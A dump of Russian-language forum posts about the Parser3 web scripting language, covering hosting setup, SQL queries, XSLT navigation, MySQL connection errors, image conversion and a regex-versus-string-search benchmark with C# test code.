"40544","[color=\"#ff0000\"]'send' The mail server doesn't like the name 380662382875@sms.jeans.net.ua. Have you set the 'To: ' field correctly? [smtp.execute][/color]\
\
В чем проблема?\
Возможно ли её решить?"
"40545","Дык просто сначала их написать и всё..."
"40546","Если есть доступ к настройке смтп сервера - решать там , если нету - юзайте другой смтп сервер"
"40547","is вроде не катит, не могу сообюразить как по другому..."
"40548","забыл, что в парсере все объект..."
"40549","Стоит вопрос как отлокинить юзера при закрытии окна браузера или при пережеде на другой URL, если он не использует при етом форму logout?"
"40552","А нету других вариантов решения или наиболее разумным будет просто производить чистку базы при загрузке сайта и убивать уже старые записи?"
"40553","Не желаете скачать такую версию?\
Лично мне с неё начинать было удобнее...\
\
http://www.denwer.ru/dis/Base_Parser/Base_Parser_2005-01-26_a1.3.31_p4.3.10_m4.1.8_pma2.6.1_p314.exe"
"40554","Именно эта версия у меня и есть по поводу попробовать можешь просмотреть всю эту ветку :). Короче одни сплошны глюки щас я скачал отдельно apache и отдельно Парсер буду разбираться!"
"40558","Подскажите вот что \
\
Запрос:\
[code]\
$seo[^table::sql{select dt, seo, qw, full_qw, in_page, position, COUNT(qw) \
FROM past_seo GROUP BY qw ORDER BY qw DESC LIMIT 0,50}]\
[/code]\
\
Вывод результата:\
[code]\
^seo.menu{\
                 \
    $seo.qw\
    $seo.seo\
    $seo.position\
    $seo.in_page\
}\
[/code]\
А как получить результат работы COUNT(qw) в упор не пойму.\
в $seo.qw храняться строки тоесть я хочу получить колличествр сгруппированных строк\
\
 Подскажите ?"
"40559","Будит ли работать сайт написанный на Parser 2 на хостинге, у которого \
Parser3????"
"40560","Скажите кто знает, какая функция на javascript полностью закрывает броузер.\
Заранее благодарен."
"40562","$count[^int:sql{SELECT COUNT(qw).....}]\
\
на выходе получите переменную (тип - целое) $count"
"40565","А лучше в запросе написать: COUNT(qw) as count_qw и обращаться к $seo.count_qw\
\
p.s. Почитайте http://www.parser.ru/examples/comp/ (по поводу использования \"LIMIT\" в запросах.)"
"40568","Выход так и не найден ?"
"40571","Надо просто установить Parser 2 на такой хостинг. Если там есть поддержка cgi, то это обычно возможно."
"40572","Начинаю работать не только с XML, но и парсером.\
\
[b]Есть[/b] xml примерно такого типа:\
<root>\
  <item id=\"1\">\
    <d></d>\
  </item>\
\
  <item id=\"2\">\
    <d></d>\
  </item>\
</root>\
\
[b]Вопрос:[/b] как мне получить узел item там где id=2? Т.е. начать работать только с ним, а остальное игнорировать?\
\
Мануал читал, но так и не вник.\
\
Заранее благодарен за помощь!"
"40576","Вообще функция закрытия: [b]window.close();[/b]\
Но при ее использовании будет задан вопрос, о том, действительно ли вы хотите закрыть окно.\
Там был какой-то прикол, что это можно было обойти.\
У меня пример валялся. Если найду, вечером выложу.\
\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"40582","Пытаюсь сделать следующее. Есть примерный xml\
\
[code]\
<root> \
	<item id=\"a\"> \
		<title></title> \
		<descr></descr> \
	</item>		\
	\
	<item id=\"b\"> \
		<title></title> \
		<descr></descr> \
	</item>	\
\
	<item id=\"c\"> \
		<title></title> \
		<descr></descr> \
	</item>	\
</root>\
[/code]\
\
надо взять, например item c id=\"a\"\
\
[code]\
<xsl:template match=\"/\">\
	<xsl:apply-templates select=\"portfolio/item[@id='a']\" />\
</xsl:template>\
[/code]\
\
а вот как дальше мне прыгнуть на след. узел, где id=\"b\"?\
думаю, надо юзать [b]following-sibling[/b] но никак не могу разобраться [i]как[/i]?\
\
Буду признателен за разъяснения!\
(manual не помог, мозга не хватает)"
"40583","Используй цикл, для перебора всех тегов с именем <item>, а из цикла уже бери значение id. \
<xsl:for-each select=\"//item\">\
</xsl:for-each>\
\
\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"40584","тоже вариант.\
но мне кажется тут много \"холостого хода\".\
\
может быть все-таки возможно перейти к родственнику одним \"движением\"?"
"40585","http://логин:пароль@www.твой_сайт.ru\
Просто используй в ссылке заведомо неверный пароль и логин.\
Тогда предидущаяя запись о логине сбросится.\
Например: [url=\"\"]http://log:out@www.dasshoes.ru[/url]\
\
\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"40586","Тебе же нужно перебирать все <item>?\
\
Здесь есть различные примеры:\
[url=\"http://xml.nsu.ru/\"]http://xml.nsu.ru/[/url]\
\
Два моих друга в XML и XSLT программировании:\
<xsl:for-each select=\"\"></xsl:for-each>\
<xsl:value-of select=\"\"></xsl:value-of>\
\
\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"40587","нет, мне нужен не перебор, а одиночный переход к след. родственнику..."
"40588","Можно ли... Блин, проще начать с кода:\
\
[code]\
^if($params.parent_id > 0){\
	$additional[^csql.table{\
		SELECT\
			thread_id,\
			level,\
		FROM\
			engine_sections\
		WHERE\
			section_id = $params.parent_id\
	}[\
		$.limit(1)\
	]]\
}{\
	$additional[^table::create{thread_id	level\
$section_id	1}]\
}\
\
^csql.void{\
	UPDATE\
		engine_sections\
	SET\
		thread_id = $additional.thread_id,\
		level = $additional.level\
	WHERE\
		section_id = $section_id\
}\
[/code]\
\
Можно ли как-нибудь проще сделать так, чтобы если при выборки из базы ничего не выбралось :) — тогда ставим дефолтную таблицу. Что-то на подобии ^int:sql{...}[$.default{0}] ?"
"40589","Как исправить выполняю первый урок.\
uri\
\
column not found\
z:/home/localhost/www/auto.p(11:30) \
menu	z:/home/localhost/www/auto.p(9:14)	\
navigation	z:/home/localhost/www/test.html(1:2)"
"40590","Прошу выслушать меня! Дело в том что я столкнулся с проблемой с которой сталкиваются сотни людей - это проблема установка и настройка парсера. Меня поражает то что нигде толком подробно не написано что и как пошагово сделать прописать чтобы заработал к примеру пресловутый первый урок! Не ужели трудно где нибудь это выложить тем людям которые в этом хорошо разбираются... Вы окажете неоценимую помощь многим людям и избавите форум от некоторой части тупых вопросов о помощи...\
\
P.S. Только единственная просьба не надо отвечая на это сообщение умничать поверьте по горло достали эти умные фразы типа прочитайте сначала FAQ типа вы все тупые а мы умные... Поверьте люди бывают разные и не у всех все сразу получается..."
"40591","Вы уж извините, что Вас достали советами прочитать FAQ. Безусловно, любой участник форума должен считать своим долгом бросить все свои дела и немедленно попытаться угадать - Вы все таки прочитали [url=\"http://www.parser.ru/faq/forum/\"]вот это место[/url] в FAQ, или все-таки нет.\
\
Вероятно, то, что Вы хотите - уже сделано и выложено в разделе \"Документация\". Для успешной работы с Парсером только одного FAQ явно недостаточно."
"40593","в спец. форме ввожу данные, приходит письмо:\
...\
Неверная комбинация email/пароль.\
...\
что делать?"
"40594","Купите книжку по xslt и прочитайте.\
А уже потом начинайте что-либо делать.\
Получится значительно быстрее, поверьте."
"40595","Почему-то пропадает возможность ответа на сообщение [url=\"http://www.parser.ru/forum/?id=40590\"]http://www.parser.ru/forum/?id=40590[/url] и все последуещие нему.\
На другие темы сообщений могу отвечать, создавать новые тоже.\
\
\
\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"40597","Тред закрыли модераторы. Этот тоже можно закрывать."
"40599","Вот мучился я с переопределениями мучался а оказывается @main[] нужно вставлять в саму страницу а документации написано было только это:\
В начале auto.p пишем: \
\
@main[] \
^header[] \
^body[] \
^footer[] \
\
А про то что в саму страницу нужно вставить еще и @main[] ничего не написано... это как понимать типа сами догадывайтесь?\
Не судите строго может че то не понял........?"
"40601","если а auto.p описан метод [code]@main[][/code], то определяя его в html'ке первый перекрывается и доступа к нему нет.\
В первом же случае в html-файле только стоит применить какую-нть парсера, как исполняется [code]@main[][/code] из auto.p.\
Поправьте если в чем-то не прав..."
"40602","[quot]Если в файле не определен ни один метод, то все его тело считается определением метода main.[/quot]\
\
P. S. Документация на уроках не закачивается.\
http://www.parser.ru/docs/lang/mainclass.htm"
"40603","Вставлять определение @main[] в одинокий файл стоит, если только Вы решили здорово его переопределить - ну, особая страница там, с экстремальным дизайном ;-) Если нет - пусть лежит в вышестоящем файле (служит типовым шаблоном)  и обслуживает больше, чем один файл или хоть весь сайт - разберитесь сами с областью определения. \
Например, удобно использовать это для подразделов с отличающейся версткой. Стоит изучить \"Операторы > Класс MAIN..\" так как нисходящая (или восходящая? :-)) обработка - основа архитектуры запроса в parser. Уяснить последовательность работы компонентов - то, что нужно больше всего в начале."
"40605","Спасибо вроде разобрался!\
По моему проблема была в том что я напихал все из урока 2 в auto.p \
а там повторялись 10 раз теги html и прочие все удалил вставил только header а в auto.p  main и все заработало!"
"40606","ну статьи например книжки???\
и в кратце кто нить может сказать что такое xml и с чем его едят?"
"40607","http://www.parser.ru/docs/\
\
http://www.parser.ru/links/"
"40608","базы данных есть у всех уважающих себя хостеров.\
работать с ними = экономить собственное время."
"40610","и не пытайтесь ставить ISAPI, этого на простых планах хостер обычно не позволяет.\
\
насчёт клиента: этот вопрос вы адресуете в документацию по вашему hosting, а потом в support."
"40611","попробуйте сами, увидите.\
скажу больше: в MSIE кэшируются [b]все[/b] успешные вхождения, даже одного и того же пользователя под разными паролями.\
причём для разных разделов кэшируется всё отдельно.\
\
не сбросите никак.\
\
однако изначально спрашивали про [b]нестандартную[/b] авторизацию, там всё тривиально."
"40615","поищите usePHP и сделайте симметрично.\
\
на этом помощь заканчивается и вы направляетесь в форум по PHP."
"40616","Как проверить равенство типа\
^r_k[] и $user.name\
\
^if(^r_k[] eq $user.name) не хочет. Видимо так и надо. Но как тогда?"
"40618","[code]\
@r_kuki[]\
^if(def $cookie:user){\
^connect[$connect_string]{\
$name[^table::sql{SELECT name, uid from users WHERE login='$cookie:user'}]\
}\
^up[$name.name]\
}[/code]\
\
^up[$str]-интереса не представляет, просто ставит заглавной первую букву.\
\
^if(^r_kuki[] eq ^up[$user.name]) возвращает 0."
"40619","Объясните алгоритм стандартной авторизации пользователей."
"40621","Прокатит, если вместо $name в методе поставите $result \
Иначе Вы присваиваете что-то переменной $name, которая ничего общего с результатом, возвращаемым методом ^r_kuki[] не имеет."
"40622","Бладодарю Кирилл Вячеславович, все работает как надо. а с подтверждением даже лучше."
"40628","просто  мне не понятен сам алгоритм и недопонимаю как связать все вместе с использованием cookie, поэтому и обратился за помощью, написал уже часть авторизации где сверяется пароль высиавляется кука и выдается юзеру статус online, но боюсь сделал это некорректным путем"
"40632","Меня интересует есть ли где нибудь готовые коды парсера например модуль новостей форум или нет... и можно например воспользоваться готовыми php модулями например tsbnews а парсер использовать лишь в  тех случаях когда надо автоматизировать например ссылки или дизайн сайта ИЛИ ВСЕ ТАКИ ДЕЛАТЬ САЙТ ПОЛНОСТЬЮ НА ПАРСЕРЕ тогда сразу же ворачиваемся в начало как быть ведь новичку не под силу написать сложные новостные модули отвечающие всем требованиям???"
"40634","В документации вот такая инструкция:\
\
[qout]Установка Parser на веб-сервер IIS 5.0 или новее\
 \
Поместите файлы с исполняемым кодом Parser в произвольный каталог.\
Если вы используете версию Parser с поддержкой XML, в каталог, указанный в переменной окружения PATH (например, C:\\WinNT), распакуйте XML библиотеки.\
\
После чего назначьте Parser обработчиком .html страниц:\
1. Запустите Management Console, нажмите на правую кнопку мыши на названии вашего веб-сервера и выберите Properties.  \
 \
2. Перейдите на вкладку Home directory и в разделе Application settings нажмите на кнопку Configuration…  \
 \
3. В появившемся окне нажмите на кнопку Add.  \
 \
4. В поле Executable введите полный путь к файлу parser3.exe или parser3isapi.dll.  \
 \
5. В поле Extension введите строку .html.  \
 \
6. Включите опцию Check that file exists.  \
 \
7. Нажмите на кнопку OK.  \
[/quot]\
\
Но мне непонятно как эту Management Console настроить на мой сервер. Что мне нужно сделать до этого?"
"40636","Моё мнение, смотря какой проект. Я бы полностью писал на Parser'е, мне так удобнее.\
А если соединять с PHP, то используя [b][url=\"http://www.parser.ru/forum/?id=33412\"]^usePHP[][/url][/b]."
"40637","Было бы неплохо соорганизовать большинством участников форума журнал, к примеру \"Parser Inside\" (что-то подобное http://detail.phpclub.ru/magazine/2005/).\
Как Ваше мнение, господа?"
"40638","есть на форуме энтузиасты, у которых есть на это время?\
я поддерживаю, готов к посильному участию"
"40640","Update: извините, прочитал исходное сообщение и понял, что поторопился с реакцией. Подумал, что это стандартная ситуация \"не могу поставить парсер на свой комп\"\
\
\
\
\
----------------\
\
Пуск -> Выполнить -> mmc.msc -> Ентер.\
\
Или вы не знаете, как подключиться к серверу, который нужно администрировать?\
\
Тогда правый клик по имени имеющегося сервера, пункт меню \"подключиться\"  и вбиваете его сетевое имя."
"40642","ПХП всё-таки намного популярней. На ПХП имеется огромное количество готовых решений, всяких мамб, пхпнюков опен-коммерсов и проч. И соответственно сообщества разработчиков... Их много... Увы, Парсеру пока до этого далеко и \"сообщество\" локализовано собственно только на этом форуме...\
И нету, нету, нету проектов хоть как-то сопоставимых с ПХПшнымя нюками и проч лабудою.\
\
Я дика извиняюсь за такой стиль и сумбур, бессоныя ночи...\
В общем смысл поста такой, что какие там журналы... Придёт популярность и всё будет, вот...\
\
Ещё раз извиняюсь..."
"40644","как понимаю, он вообще не позволяет работать в management console, соответственно, вам необходимо найти, как эти действия выполняются при помощи control.hosting.rbc.ru"
"40645","Полностью Вас понимаю.\
С чего-то нужно начинать. Пусть даже журнал будет выходить раз в 3 месяца, зато будет. Впринципе, написать всегда есть что.\
[i]Например:[/i]\
[b]1. Подробная установка на хостингах различных компаний.[/b]\
[b]2. Сборка в Linux'е.[/b]\
[b]3. Анализ классов из примеров (\"разбор их полёта\").[/b]\
..."
"40646","Есть желание. А статьи писать в процессе работы (скриптования). Лично у меня часто возникают затруднения с тем чтобы что-нибудь сложное организовать в Parser'е (иногда простого). Пользуюсь форумом, бывает с трудностью нахожу решения проблемы. Вот уже и небольшой собирается материал... А подобных людей много.\
См. http://www.parser.ru/forum/users/\
Мы отправим всем СПАМ с предложением принять участие в проекте! ;-)"
"40647","о грамотной работе с [url=http://www.parser.ru/examples/auth/]классом авторизации[/url] - уж больно важный момент...\
\
как чего правильно делается - проверка прав, назначение прав, защита, организация баз данных, примеры использования и т.п."
"40648","гуру, поддержите?"
"40649","И, кстати, журналы бывают и сетевые... Да чего далеко ходить, регистрируйте жж сообщество и вперёд, а как наберётся критическое количество статей, можно и на бумаге издать."
"40650","При чём здесь гуру-кенгуру. Да и чем они помогут? Деньгами? Они и так этот форум двигают - мама не горюй, а ведь у людей ещё и другие дела наверняка есть. Если человек знаком с Парсером около полугода, то вполне может при наличии определённой склонности и статью написать, а если что не так, то камрады в камментах поправят %)))"
"40651","1) Хочу сделать сайт на parser на Китайском сервере (apache). Сейчас долблюсь с админами для того, чтобы разрешили оступ к .htaccess.\
Подскажите способы уламывания (серьёзно, что нужно сказать для того что \"отдались\"?), а то уже на протяжении недели с ними дискусии веду \"какие мы хорошие, сервер вам не вскрою\".\
Какие могут произойти проблемы (с кодировками и др.)?\
\
2) Есть идея о распространении в Китае. Сайт, распространение, реклама и т.д. Какие могут быть проблеммы на пути к осуществлению идеи?"
"40652","нет необходимости в .htaccess писать.\
нужные строчки вы можете просто отправить админу, он впишет их в httpd.conf в нужное место."
"40653","Я пока сам не разобрался с этим классом. На форуме так и не нашёл для себя понятного примера использования прав..."
"40654","Я тоже поддерживаю мнение о необходимости Гуру. А для чего журнал собственно?!...\
Если нет возможности у них писать статья, то хотя бы небольшую помощь в сложных примерах."
"40655","ДъєГВрёї"
"40656","Вот периодически натыкаюсь в форуме на интересные решения, методы и даже классы, которые в примеры не положить (ничего нового не иллюстрируют). Думаю, что стоило бы такие вот мелочи где-то аккумулировать. Потому что многое на парсере (очень многое) каждый пишет сам с нуля, изобретая свой велосипед. Вообщем, это и не плохо, но если была бы возможность посмотреть как это сделали другие, то качество реализации увеличивалось бы, уровень кодера увеличился бы и, в конце концов, пришли бы к всеобщему хэпинесу ООП и разделения кода от представления.\
\
Естественно, код, представленный в этом \"аккумуляторе\", должен быть проверен опытными на предмет профпригодности (например, использования [i]WHERE id=^form:id.int[][/i] вместо [i]WHERE id=$form:id[/i]), потому что копи/паст жив.\
\
И, может быть, вот на базе этого \"аккумулятора\" удастся выростить журнал.\
\
P. S. Каждый может заблуждаться."
"40657","СПАСИБО УЖЕ РАЗОБРАЛСЯ :)"
"40659","опубликованные? да\
но оч.много \"примеров\" есть у каждого кто на нем пишет :-)"
"40662","Может для начала стоит попробовать завести на сайте раздел \"Статьи\" (или как-нибудь по другому обозвать) и самые насущные и интересные вопросы помещать туда. Хотя примеры на сайте уже есть, но зачастую (по крайней мере мне) легче написать новое, чем понять как работает готовое, а статьи эту проблему должны решить (хотя бы какую-то часть)."
"40663","Вот мучаюсь ставлю на этот хостинг.\
\
Обычно мне попадались хосты где структура была следующей:\
\
www а вней cgi-bin \
\
Здесь другая структура \
\
есть папка \
\
mysait и папка moysaytbin обе в корне \
\
как мне указать на parser3.cgi пробовал ./moysaytbin/parser3.cgi - так не работает"
"40664","попробуй или \"../moysaytbin/parser3.cgi\" или /moysaytbin/parser3.cgi\
НО! в первую очередь не плохо было бы спросить у хостера, как запускать cgi-скрипты"
"40665","Собрал тут на своём хостинге спартанскую версию parser3 БЕЗ XML, mail-received, etc. Операционка - Red Hat Enterprise Linux AS v.3. Всё сделал как PAF прописал - сперва libgc поставил, потом уж запустил ./configure --with-shared-gc=/xxxx/xxxx/xxx. Make, make install - всё собралось хорошо и всё работает. НО! Размер parser3 получился порядка 2.5 мега. У Студии 800 кило, у Егорова вообще 600 кбт, а у меня такое 8-O Исходники брал правда из CVS, а там уже версия 3.1.5 сидит.\
\
В чём может быть засада?"
"40667","Да, это то что искал в форуме, но не смог найти.\
\
ЗЫ. Получилось больше чем у Егорова, но меньше чем у Студии ;)"
"40669","Хотелось бы узнать Ваше мнение. Буду очень признателен."
"40670","Идея хорошая, главное чтобы она не остановилась на обсуждении ;)\
\
Может быть начать с того, что воспользоваться «поиском по форуму» :))\
\
Проще говоря собрать интересные решения, промелькнувшие в форуме в одном месте. Хотя бы в ответ в этом треде. Ссылка и комментарий. А уж дальше раскручивать. Начнем с малого ;)"
"40671","Наткнулся тут на статью, в которой рассматривается производительность регулярных выражений, правда применительно к .NET:\
\
http://wesnerm.blogs.com/net_undocumented/2005/05/regular_express.html\
\
Интересен сам вывод, - для поиска простой строки (без всяких там символов шаблонов) в большом тексте, регулярные выражения быстрее чем строковые методы, т.е. вариант:\
[code]\
$s[In some cases, Regexes may actually perform better than typical handwritten code.]\
\
^if(^s.match[cases]){\
\
}\
[/code]\
может быть быстрее чем вариант:\
[code]\
$s[In some cases, Regexes may actually perform better than typical handwritten code.]\
\
^if(^s.pos[cases] >= 0){\
\
}\
[/code]\
т.к. регулярные выражения используют алгоритм Бойера-Мура где количество сравнений равно n/m (n - длина текста, m - длина шаблона), а строковые функции простой алгоритм поиска где n * m\
\
Я не знаю насколько все это верно для парсера."
"40673",":) попробуйте - мне просто некогда. Только текст для поиска берите кило так 50 или больше, чтобы четко видеть разницу."
"40674","такие вот памяти парсер отожрал: \
\
[code]\
^if(^ftext.match[part]){ } \
# 10.015 ms, 0.0100144 sec, 116 KB, 140 Blocks\
[/code]\
и\
[code]\
^if(^ftext.pos[part] >= 0){ }\
# 0 ms, 0 sec, 4 KB, 4 Blocks\
[/code]\
\
текстовый файл 45 Кб \
само собой загрузка файла не замерялась\
\
Делайте выводы :)"
"40675","выдает ошибку все сделал по уроку создал базу с помощью mysql front заполнил таблицу в auto.p прописал в самом начале:\
@auto[] \
$connect[mysql://root:root@localhost/p3test"
"40676","вот что выдает...\
\
connect\
\
connection string must start with protocol://\
c:/server/apache/htdocs/index.html(28:5) \
if	c:/server/apache/htdocs/index.html(27:2) 	\
body_main	c:/server/apache/htdocs/auto.p(66:11) 	\
body	c:/server/apache/htdocs/auto.p(5:2)"
"40677","mysql://****@localhost/p3test\
\
Client does not support authentication protocol requested by server; consider upgrading MySQL client\
c:/server/apache/htdocs/index.html(28:5) \
connect	c:/server/apache/htdocs/index.html(28:5) 	\
if	c:/server/apache/htdocs/index.html(27:2) 	\
body_main	c:/server/apache/htdocs/auto.p(66:11) 	\
body	c:/server/apache/htdocs/auto.p(5:2)"
"40680","Да в том тои дело что они не могут быть не верные root и root все 10 раз проверено......"
"40683","Спасибо база начала работать только вот при просмотре front'ом выдаются иероглифы... знаю щас скажешь поищи по форуму ну вроде искал ниче не помогло может подскажешь????"
"40690","да неполучается ни че найти может напишешь а?"
"40691","имеет смысл только при определённых ситуациях.\
причём дело не столько в длине строки\
сколько в том, сколько раз в этой строке мы намерены что-то искать.\
или намерены ли мы там искать сложное выражение или простое.\
\
оценка количества сравнений при простом поиске «N*M» = оценка сверху, типичные ситуации я бы оценил в N*(M/10).\
\
\
.NET\
насколько я понял завёрнутый код \
\\sscli\\fx\\src\\regex\\system\\text\\regularexpressions\\regexfcd.cs, метод Prefix\
там применяется некая хитрая эвристика чтобы решить — применять ли BM алгоритм.\
\
для [b]однократного[/b] поиска простой строки расход времени на предварительный просмотр всей строки — непозволительная роскошь.\
\
поэтому рассуждения в приведённой статье, вероятно, относятся к многократным поискам данных внутри одной и той же строки. автор об этом ничего не пишет.\
\
могу предположить, что он банально проделал некорректный эксперимент, поставив проблемную операцию в цикл и получив данные, что match быстрее.\
\
если же в цикле применять алгоритм к [b]разным[/b] входным строкам, то, уверен, простой [b]однократный[/b] поиск подстроки положит match на все лопатки.\
\
Perl\
там пользователю предлагается самому решить, собирается ли он искать в строке многократно или сложные вещи, и на то есть отдельный оператор\
«study»\
\
Parser\
в используемой у нас библиотеке PCRE необходимый функционал присутствует.\
вариант:\
[code]\
$studied[^string.study[]]\
^string.match[$studied][regex][options]\
[/code]\
так будет немного похоже на Perl, но мне это нравится мало, поскольку не в духе Parser.\
\
вариант:\
[code]\
^string.study[]\
^string.match[regex][options]\
[/code]\
так совсем похоже на Perl, однако несколько замедлит [b]все[/b] match, поскольку перед match надо будет посмотреть, нет ли у нас данных от study.\
\
диагноз: я не считаю, что задачи, стоящие перед нами требуют [b]интенсивных[/b] регулярных выражений, работающих с [b]большими[/b] строками — обычно поиск/замена идёт в небольшом куске, соответственно, ускорять их не нужно."
"40692","Paf, я столкнулся с такой ситуацией - попытался использовать regexp из перловского модуля Lingua-Ru-Antimat, отфильтровывающий ругань из строки. Парсер ругается \"regexp too long\".\
\
Каковы ограничения на длину регулярного выражения?"
"40694","да хостер сам незнает.\
\
а по твоему варианту получаю:\
\
Bad Request\
\
Your browser sent a request that this server could not understand.\
Apache/2.0.53 (Unix) mod_fastcgi/2.4.2 PHP/5.0.4-310 Server at lazershow.ru Port 80"
"40695","нашёл только в исходниках библиотеки cord такое:\
[code]\
ABORT(\"Cord too long\"); \
[/code]\
\
в этом случае будет core dump.\
\
не очень понимаю, что [b]это[/b], если это наш с вами случай, надо ближе смотреть."
"40696","как предлагается в инструкции по установке Parser."
"40697","Сформулирую проще: в конструкции [b]^строка.match[шаблон][опции поиска]{замена}[/b] какова максимально допустимая длина [b]шаблон[/b]? В документации этого нет."
"40699","Какая стоит версия MySQL? Возможно для строки подключения нужно добавить ?charset=cp1251"
"40700","Подскажите кто может. вот пхп может вызывать явускрипт, а наоборот можно? что бы ява принудительно вызывала скажем функцию пхп. если да то подбросте кусочек кода. заранее благодарен."
"40701","[code]\
length += 4;    /* For final KET and END */\
if (length > 65539)\
  {\
  *errorptr = ERR20;\
[/code]\
\
я слабо представляю себе, зачем это органичение, вероятно, в библиотеке есть какие-то фиксированные максимумы рабочих буферов.\
\
если вам это важно, изучите вопрос — библиотека PCRE развивается."
"40702","[quot]Как добиться исполнения CGI вне cgi-bin? 	\
	\
Необходимо в нужной директории создать файл [b].htaccess[/b] и прописать в нём строку:\
[b]Options +ExecCGI[/b]\
Если Вы хотите также, чтобы исполнялись CGI на Perl и других интерпретируемых языках (не бинарные), добавьте также строку:\
AddHandler cgi-script .cgi .pl .py .ruby .tcl (и т.д.)\
(Расширения прописываются для используемых Вами в качестве CGI файлов).[/quot]\
Это цитата из помощи 310.ru [url=\"http://www.310.ru/faq/index.php?fgid=25&fid=114\"]\
http://www.310.ru/faq/index.php?fgid=25&fid=114 [/url]\
...говорю же, хостера трясите..."
"40703","если вы имеете ввиду client-side JS, то пхп не вызывает JS, а вставляет в html строки с JS, потомуча PHP - server-side, а JS client-side :-)"
"40704","разобрался нужно было вместо 1251 ставить binary всем спасибо оссобенно Wonder'у."
"40705","Есть ли [b]возможность конвертировать изображения[/b] при изменении размеров, допустим из .gif в .jpg?"
"40706","который содержит результат работы функции на PHP и считать этот самый результат."
"40707","http://www.imagemagick.org/script/perl-magick.php#example - тут описаны возможности Perl Magick. Images.p всего лишь интерфейс между Parser'ом и Perl Magick на тех хостингах, где нет возможности работать напрямую с 'convert', 'identify' etc."
"40710","Посмотрел сайт... Увы, пока мне это мало понятно. Не могли бы Вы подсказать, что изменить в images.pl, чтобы он сохранял любые изображения в JPEG формате?"
"40712","Значится так, - я проверил это в .NET. Эксперимент ставил чистый, т.е. проверял однократный поиск в тексте размером 500K.\
\
На моей тачке результаты такие:\
[code]\
D:\\CSharp\\RegexpText\\bin\\Debug>RegexpText.exe microserfs.txt Modernist\
String result is: True. Time in milliseconds taken: 8,73770269685114\
Regexp result is: True. Time in milliseconds taken: 1,45968272503908\
[/code]\
Вот иходник теста:\
[code]\
using System;\
using System.Diagnostics;\
using System.IO;\
using System.Text;\
using System.Text.RegularExpressions;\
using Beeline.MOM;\
\
namespace RegexpText\
{\
	/// <summary>\
	/// Summary description for Class1.\
	/// </summary>\
	class Class1\
	{\
		/// <summary>\
		/// The main entry point for the application.\
		/// </summary>\
		[MTAThread]\
		static void Main(string[] args)\
		{\
			if (args.Length != 2)\
			{\
				Console.WriteLine(\"Usage is RegexpText.exe <file> <pattern>\");\
				return;\
			}\
			ElapsedTimeMilliseconds timer = new ElapsedTimeMilliseconds();\
			string text = GetTestText(args[0]);\
\
			if (text == null)\
			{\
				Console.WriteLine(\"File not found or empty\");\
				return;\
			}\
			// String functions\
			timer.Begin();\
			bool found = (text.IndexOf(args[1]) >= 0);\
			timer.End();\
			Console.WriteLine(\"String result is: {0}. Time in milliseconds taken: {1}\", found, timer.Elapsed);\
\
			// Regexp\
			Regex regex = new Regex(args[1], RegexOptions.None);\
			timer.Begin();\
			found = regex.IsMatch(text);\
			timer.End();\
			Console.WriteLine(\"Regexp result is: {0}. Time in milliseconds taken: {1}\", found, timer.Elapsed);\
		}\
\
		static string GetTestText(string file)\
		{\
			StreamReader r = null;\
			string result = null;\
			try\
			{\
				r = new StreamReader(file, Encoding.ASCII);\
				result = r.ReadToEnd();\
			}\
			catch(ArgumentException e)\
			{\
				Trace.WriteLine(e.ToString());\
			}\
			catch(FileNotFoundException e)\
			{\
				Trace.WriteLine(e.ToString());\
			}\
			catch(DirectoryNotFoundException e)\
			{\
				Trace.WriteLine(e.ToString());\
			}\
			catch(IOException e)\
			{\
				Trace.WriteLine(e.ToString());\
			}\
			catch(OutOfMemoryException e)\
			{\
				Trace.WriteLine(e.ToString());\
			}\
			finally\
			{\
				if (r != null)\
				{\
					r.Close();\
				}\
			}\
			return result;\
		}\
	}\
}\
[/code]\
Пусть не пугает использование Beeline.MOM - это я просто взял из своего текущего проекта библиотечку (сам написал) в которой есть классы-обертки для замера времени использующие Win32 API.\
\
Желающие могут загрузить собраный код с тестовым файлом:\
\
http://www.egoroff.spb.ru/download/RegexpText.zip\
\
и проверить это у себя."
"40713","В .NET картина обратная http://www.parser.ru/forum/?id=40712"
"40714","... компиляция регулярного выражения (конструктор класса RegExp) не в ключена в замеры? :)"
"40715","... не обратил внимание, что нет RegexOptions.Compiled отсутствует. Хотя все-таки создание объекта имеет смысл включить в замеры."
"40716","результат такой:\
[code]\
D:\\CSharp\\RegexpText\\bin\\Debug>RegexpText.exe microserfs.txt Modernist\
String result is: True. Time in milliseconds taken: 8,94359478648823\
Regexp result is: True. Time in milliseconds taken: 3,10095277472416\
[/code]\
Исправленную версию выложил - неверующие могут проверить сборки дизассемблером :)."
"40717","Результаты стали менее разгромными после включения в замер создания объекта, но все равно от 2 до 3 раз Regexp быстрее."
"40718","1. Теперь при сохранении картинки можно указать формат, в который нужно сохранить.\
^images:save[файл;путь;имя;формат]\
файл - объект класса файл или файл из поста.\
путь - путь по которому будет сохранена картинка (без имени файла).\
имя - имя файла с исходным расширением\
формат - в которыйнужно сконвертировать [gif|jpg|png]\
\
Пока это делается через ещё один скрипт convert.pl, в будущем объединю с images.pl.\
\
2. Теперь нет необходимости писать путь к файлу с images.pl в при каждом вызове.\
\
